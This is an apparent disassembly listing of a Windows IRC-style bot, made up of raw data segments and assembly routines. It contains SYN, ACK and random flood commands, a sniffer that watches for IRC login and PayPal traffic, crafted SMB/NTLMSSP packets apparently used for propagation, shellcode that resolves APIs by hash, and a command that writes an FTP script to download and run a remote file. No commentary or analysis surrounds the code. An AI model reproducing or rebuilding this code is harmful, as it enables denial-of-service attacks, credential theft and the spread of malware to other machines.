aGetfiletype	db 'GetFileType',0
		db  53h	; S
		db 1, 47h, 65h
aTstringtypea	db 'tStringTypeA',0
		align 2
		dw 156h
aGetstringtypew	db 'GetStringTypeW',0
		align 10h
		db  8Bh	; ‹
		db 2, 53h, 65h
aTunhandledexce	db 'tUnhandledExceptionFilter',0
		dw 1B5h
aIsbadreadptr	db 'IsBadReadPtr',0
		align 2
		dw 1B2h
aIsbadcodeptr	db 'IsBadCodePtr',0
		align 2
		dw 27Ch
aSetstdhandle	db 'SetStdHandle',0
		align 2
aK_0		db 'ª',0
aFlushfilebuffe	db 'FlushFileBuffers',0
		align 2
		dw 261h
aSetendoffile	db 'SetEndOfFile',0
		align 2
		db '!',0
aComparestringa	db 'CompareStringA',0
		align 4
		db '"',0
aComparestringw	db 'CompareStringW',0
		align 2
		dw 262h
aSetenvironment	db 'SetEnvironmentVariableA',0
aKernel32_dll	db 'KERNEL32.dll',0
		align 10h
		dd 150h	dup(0)
dword_421000	dd 0				dd offset sub_403527
		dd offset sub_41E3E4
dword_42100C	dd 0		dword_421010	dd 0				dd offset sub_414992
		dd offset sub_41A5D7
		dd offset sub_41B3F2
		dd offset sub_41BD91
dword_421024	dd 0		dword_421028	dd 0				dd offset sub_41B497
dword_421030	dd 0		dword_421034	dd 0				dd offset sub_41BDA2
dword_42103C	dd 0		unk_421040	db    2			; DATA XREF: sub_401000+5Bo
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	2 dup(64h)
		db  6Fh	; o
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aDoneWithFloodI	db 'Done with flood (%iKB/sec).',0
unk_421078	db    2			; DATA XREF: sub_4010B2+302o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	2 dup(64h)
		db  6Fh	; o
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aSendErrorD_	db 'Send error: <%d>.',0
		align 4
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_4010B2:loc_4011DEo
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_4010B2:loc_4011C2o
		align 10h
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: sub_4010B2+F1o
		align 4
unk_4210CC	db    2			; DATA XREF: sub_401447+398o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	69h, 63h
		db  6Dh	; m
		db 70h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aDoneWithSFlood	db 'Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%dMB'
		db ').',0
unk_42112C	db    2			; DATA XREF: sub_401447+30Co
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	69h, 63h
		db  6Dh	; m
		db 70h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorSendingPa	db 'Error sending packets to IP: %s. Packets sent: %d. Returned: <%d>'
		db '.',0
		align 4
unk_42118C	db    2			; DATA XREF: sub_401447+12Bo
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	69h, 63h
		db  6Dh	; m
		db 70h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aInvalidTargetI	db 'Invalid target IP.',0
		align 4
unk_4211BC	db    2			; DATA XREF: sub_401447+C3o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	69h, 63h
		db  6Dh	; m
		db 70h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorSetsockop	db 'Error: setsockopt() failed, returned: <%d>.',0
unk_421204	db    2			; DATA XREF: sub_401447+4Ao
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	69h, 63h
		db  6Dh	; m
		db 70h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorSocketFai	db 'Error: socket() failed, returned: <%d>.',0
unk_421248	db    2			; DATA XREF: sub_40182F+48o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	73h, 79h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDoneWithFloo_0	db '  Done with flood (%iKB/sec).',0
		align 10h
unk_421280	db    2			; DATA XREF: sub_4018CB+27Do
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	73h, 79h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSendErrorD__0	db '  Send error: <%d>.',0
		align 10h
unk_4212B0	db    2			; DATA XREF: sub_401BD7+4EBo
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	74h, 63h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDoneWithSFlo_0	db '  Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
		db 'MB).',0
		align 10h
unk_421310	db    2			; DATA XREF: sub_401BD7+44Fo
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	74h, 63h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSending_0	db '  Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
		db 'd>.',0
		align 10h
aRandom		db 'random',0           ; DATA XREF: sub_401BD7+312o
					; sub_40CC09+27DFo ...
		align 4
off_421378	dd offset byte_6B6361	; DATA XREF: sub_401BD7+2F2o
					; sub_40CC09+27C8o
off_42137C	dd offset byte_6E7973	; DATA XREF: sub_401BD7+2D2o
					; sub_40CC09+27B0o
unk_421380	db    2			; DATA XREF: sub_401BD7+15Fo
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	74h, 63h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aInvalidTarge_0	db '  Invalid target IP.',0
		align 10h
unk_4213B0	db    2			; DATA XREF: sub_401BD7+EEo
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	74h, 63h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSetsock_0	db '  Error: setsockopt() failed, returned: <%d>.',0
		align 4
unk_4213F8	db    2			; DATA XREF: sub_401BD7+70o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	74h, 63h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSocketF_0	db '  Error: socket() failed, returned: <%d>.',0
		align 10h
off_421440	dd offset off_421CB8	; DATA XREF: sub_40211B+29Er
		dd offset off_421CB4
		dd offset off_421CB0
		dd offset aHttp		; "HTTP"
dword_421450	dd 6F6C2E3Ah, 6E6967h, 3 dup(0)dword_421464	dd 0				dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h, 4 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 5	dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd offset word_6C2E3A
		dd 5 dup(0)
		dd offset word_6C213A
		dd 5 dup(0)
		dd offset word_6C243A
		dd 5 dup(0)
		dd offset word_6C253A
		dd 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp		db 'HTTP',0             ; DATA XREF: seg001:0042144Co
		align 10h
off_421CB0	dd offset word_505446	; DATA XREF: seg001:00421448o
off_421CB4	dd offset aWininitx_exe+1 ; DATA XREF: seg001:00421444o
off_421CB8	dd offset word_544F42	; DATA XREF: seg001:off_421440o
unk_421CBC	db    2			; DATA XREF: sub_40211B+2FCo
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	73h, 6Eh
		db  69h	; i
		db 2 dup(66h), 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aErrorRecvFaile	db ' Error: recv() failed, returned: <%d>',0
		align 10h
unk_421D00	db    2			; DATA XREF: sub_40211B+2ABo
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	73h, 6Eh
		db  69h	; i
		db 2 dup(66h), 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aSuspiciousSPac	db ' Suspicious %s packet from: %s:%d - %s.',0
aPsniff		db '[PSNIFF]',0         ; DATA XREF: sub_40211B+235o
		align 10h
unk_421D50	db    2			; DATA XREF: sub_40211B+186o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	73h, 6Eh
		db  69h	; i
		db 2 dup(66h), 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aErrorWsaioctlF	db ' Error: WSAIoctl() failed, returned: <%d>.',0
		align 4
unk_421D98	db    2			; DATA XREF: sub_40211B+103o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	73h, 6Eh
		db  69h	; i
		db 2 dup(66h), 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aErrorBindFaile	db ' Error: bind() failed, returned: <%d>.',0
		align 4
unk_421DDC	db    2			; DATA XREF: sub_40211B+85o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	73h, 6Eh
		db  69h	; i
		db 2 dup(66h), 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aErrorSocketF_1	db ' Error: socket() failed, returned: <%d>.',0
		align 4
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_402749+B2o
		align 10h
dword_421E30	dd 10FF8h, 0	dword_421E38	dd 10FF8h	dword_421E3C	dd 7FFDF020h, 0	dword_421E44	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_421ECC	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_421EFC	dd 0				dd 800000D4h, 0
unk_421F08	db  81h	; 		; DATA XREF: sub_402C4D+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
byte_421F54	db 41h			; DATA XREF: sub_402CEB+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_421F98	proc near		; DATA XREF: sub_402F48+80o
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_422094
		push	dword ptr [esi]
		push	63D61209h
		call	sub_4220AA
		mov	[esi+8], eax
		call	sub_42205D
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_4220AA
		mov	[esi+0Ch], eax
		call	sub_42200F
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_4220AA
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_421F98	endp


; =============== S U B	R O U T	I N E =======================================



sub_42200F	proc near		; CODE XREF: sub_421F98+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_422038
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_42200F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_422038	proc near		; CODE XREF: sub_42200F+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_422047:				; CODE XREF: sub_422038+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_422054
		inc	ebx
		jmp	short loc_422047
; ---------------------------------------------------------------------------


loc_422054:				; CODE XREF: sub_422038+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_422038	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42205D	proc near		; CODE XREF: sub_421F98+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_422075:				; CODE XREF: sub_42205D+1Ej
		cmp	[ecx], ebx
		jz	short loc_42207D
		mov	ecx, [ecx]
		jmp	short loc_422075
; ---------------------------------------------------------------------------


loc_42207D:				; CODE XREF: sub_42205D+1Aj
		mov	edx, edi


loc_42207F:				; CODE XREF: sub_42205D+2Aj
		cmp	[edx+4], ebx
		jz	short loc_422089
		mov	edx, [edx+4]
		jmp	short loc_42207F
; ---------------------------------------------------------------------------


loc_422089:				; CODE XREF: sub_42205D+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_42205D	endp


; =============== S U B	R O U T	I N E =======================================



sub_422094	proc near		; CODE XREF: sub_421F98+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_422094	endp


; =============== S U B	R O U T	I N E =======================================



sub_4220AA	proc near		; CODE XREF: sub_421F98+16p
					; sub_421F98+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_4220C0:				; CODE XREF: sub_4220AA+33j
		jecxz	short loc_4220FA
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_4220CD:				; CODE XREF: sub_4220AA+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_4220D9
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_4220CD
; ---------------------------------------------------------------------------


loc_4220D9:				; CODE XREF: sub_4220AA+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_4220C0
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_4220FA:				; CODE XREF: sub_4220AA:loc_4220C0j
					; sub_4220AA:loc_4220FAj
		jmp	short loc_4220FA
sub_4220AA	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_422100	proc near		; DATA XREF: sub_402F48+30o

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_422152
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_42211D:				; CODE XREF: sub_422100+38j
		jecxz	short loc_42214D
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_422128:				; CODE XREF: sub_422100+32j
		lodsb
		test	al, al
		jz	short loc_422134
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_422128
; ---------------------------------------------------------------------------


loc_422134:				; CODE XREF: sub_422100+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_42211D
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_42214D:				; CODE XREF: sub_422100:loc_42211Dj
		mov	[esp+arg_0], ebx
		retn
sub_422100	endp


; =============== S U B	R O U T	I N E =======================================



sub_422152	proc near		; CODE XREF: sub_422100+7p

; FUNCTION CHUNK AT 0042218A SIZE 00000007 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_42216B
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_422176
; ---------------------------------------------------------------------------


loc_42216B:				; CODE XREF: sub_422152+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_422176:				; CODE XREF: sub_422152+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_42218A
sub_422152	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42217D	proc near		; CODE XREF: sub_422152:loc_42218Ap
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_42217D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_422152


loc_42218A:				; CODE XREF: sub_422152+29j
		call	sub_42217D


loc_42218F:				; DATA XREF: sub_4026EE+1Bo
					; sub_40CC09+819o ...
		add	[ebx], ah
; END OF FUNCTION CHUNK	FOR sub_422152
; ---------------------------------------------------------------------------
		db 3 dup(0)
dword_422194	dd 60h		dword_422198	dd 62B0606h, 2050501h, 0A0hdword_4221A4	dd 30h							; seg001:0042A758o ...
dword_4221A8	dd 0A1h		dword_4221AC	dd 3		aCccc		db 'CCCC',0             ; DATA XREF: sub_402749+153o
		align 4


loc_4221B8:				; DATA XREF: sub_402749+E8o
		jmp	short near ptr dword_4221C0
; ---------------------------------------------------------------------------
		align 10h
dword_4221C0	dd 0		dword_4221C4	dd 2F2F7325h, 2E732520h, 0aCmdKEchoOpenSD	db 'cmd /k echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: sub_402F48+55o
					; sub_4039C9+A0o
		db 'echo quit >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
dword_422240	dd 54000000h, 424D53FFh, 72h, 28011800h, 3 dup(0)
					; DATA XREF: seg001:00403636o
		dd 0DC00000h, 0F2140000h, 2003100h, 4D4E414Ch, 2E314E41h
		dd 4C020030h, 322E314Dh, 32303058h, 544E0200h, 4E414C20h
		dd 204E414Dh, 302E31h, 20544E02h, 30204D4Ch, 32312Eh
dword_422298	dd 0AC000000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
					; DATA XREF: seg001:00403653o
		dd 0DC00000h, 0F2140000h, 0FF0Ch, 2FFDF00h, 100h, 4E000000h
		dd 0
		dd 0D05C00h, 60007180h,	2B06064Ch, 5050106h, 3042A002h
		dd 300EA040h, 2B0A060Ch, 1040106h, 2023782h, 42EA20Ah
		dd 4C544E2Ch, 5053534Dh, 100h, 8020100h, 0
		db    0
		db 20h,	2 dup(0)
		db    0
		db 0Ch,	0, 0Ch
		db    0
		db 20h,	2 dup(0)
		db    0
aWorkstation1wi	db 'WORKSTATION1Windows 2000 2195',0
aWindows20005_0	db 'Windows 2000 5.0',0
dword_422348	dd 0F2000000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
					; DATA XREF: seg001:00403670o
		dd 0DC00000h, 0F2140800h, 0FF0Ch, 2FFDF00h, 100h, 94000000h
		dd 0
		dd 0D05C00h, 0A100B780h, 81309181h, 8B81A28Eh, 4E888104h
		dd 534D4C54h, 3005053h,	18000000h, 40001800h, 18000000h
		dd 58001800h, 0
		dd 70000000h, 0
		dd 70000000h, 18000000h, 70001800h, 2 dup(0)
		dd 1000000h, 802h, 4030201h, 70605h, 3 dup(0)
		db    0
		db 2 dup(0), 36h
		db 0B1h	; ±
		db 1Dh,	36h, 0A3h
		db 0F4h	; ô
		db 0A7h, 0FDh, 0EFh
aVjsVSDrw	db '+¢JS¶×ÑÙ¢]é˶drW',0
		dd offset byte_52004F
		dd offset byte_53004B
		dd offset loc_410054
		dd offset dword_490054
		dd offset byte_4E004F
		db 31h,	0, 57h
aIndows20002195	db 'indows 2000 2195',0
aWindows20005_1	db 'Windows 2000 5.0',0
		align 10h
dword_422440	dd 3A000000h, 424D53FFh, 75h, 20011800h, 3 dup(0)
					; DATA XREF: seg001:0040368Ao
		dd 0DC00000h, 0F2140800h, 0FF04h, 1000000h, 0F00h, 495C5C5Ch
		dd 244350h, 3F3F3F3Fh, 3Fh
dword_422480	dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0)
					; DATA XREF: seg001:004036A4o
		dd 0DC00800h, 0F2140800h, 0FF18h, 80000h, 16h, 0
		dd 2019Fh, 3 dup(0)
		dd 7, 1, 40h, 2, 5C000900h, 574F5242h, 524553h
dword_4224E0	dd 0A050000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
					; DATA XREF: seg001:004036C1o
		dd 0DC00800h, 0F2140800h, 0C0000010h, 0E0040004h, 0FFh
		dd 2 dup(0)
		dd 0C0004A00h, 2004A04h, 2600h,	5C04C740h, 45504950h, 5005Ch
		dd 10030Bh, 4C00000h, 0
		dd 16D00000h, 16D0h, 1B0000h, 0
		dd 4C900001h, 81BE7530h, 1F97F220h, 0FB459534h,	50325h
		dd 5D040001h, 1CEB8A88h, 0E89F11C9h, 102B0008h,	26048h
		dd 10000h, 39850001h, 0EFAFCA15h, 7932C302h, 7BCF5BE5h
		dd 5DC24h, 5D040003h, 1CEB8A88h, 0E89F11C9h, 102B0008h
		dd 26048h, 20000h, 63490001h, 0D8E85EA8h, 9285C965h, 0CAE7BB8Fh
		dd 44707h, 5D040003h, 1CEB8A88h, 0E89F11C9h, 102B0008h
		dd 26048h, 30000h, 0A7F70001h, 0A87F8EDh, 0E0DB354Ah, 2861EE0h
		dd 6BFF6h, 5D040002h, 1CEB8A88h, 0E89F11C9h, 102B0008h
		dd 26048h, 40000h, 3C4C0001h, 6E13D516h, 1FDD409Ch, 0BB30813Ch
		dd 64BC5h, 5D040003h, 1CEB8A88h, 0E89F11C9h, 102B0008h
		dd 26048h, 50000h, 7C720001h, 0D815DC91h, 8946A097h, 5B9FBB92h
		dd 55897h, 5D040002h, 1CEB8A88h, 0E89F11C9h, 102B0008h
		dd 26048h, 60000h, 0F4DC0001h, 0B4D3C01Ah, 0A1042C01h
		dd 7E0600CEh, 5E2A8h, 5D040001h, 1CEB8A88h, 0E89F11C9h
		dd 102B0008h, 26048h, 70000h, 4F080001h, 24C723D3h, 0DB7953E8h
		dd 3D2CED44h, 10F53h, 5D040003h, 1CEB8A88h, 0E89F11C9h
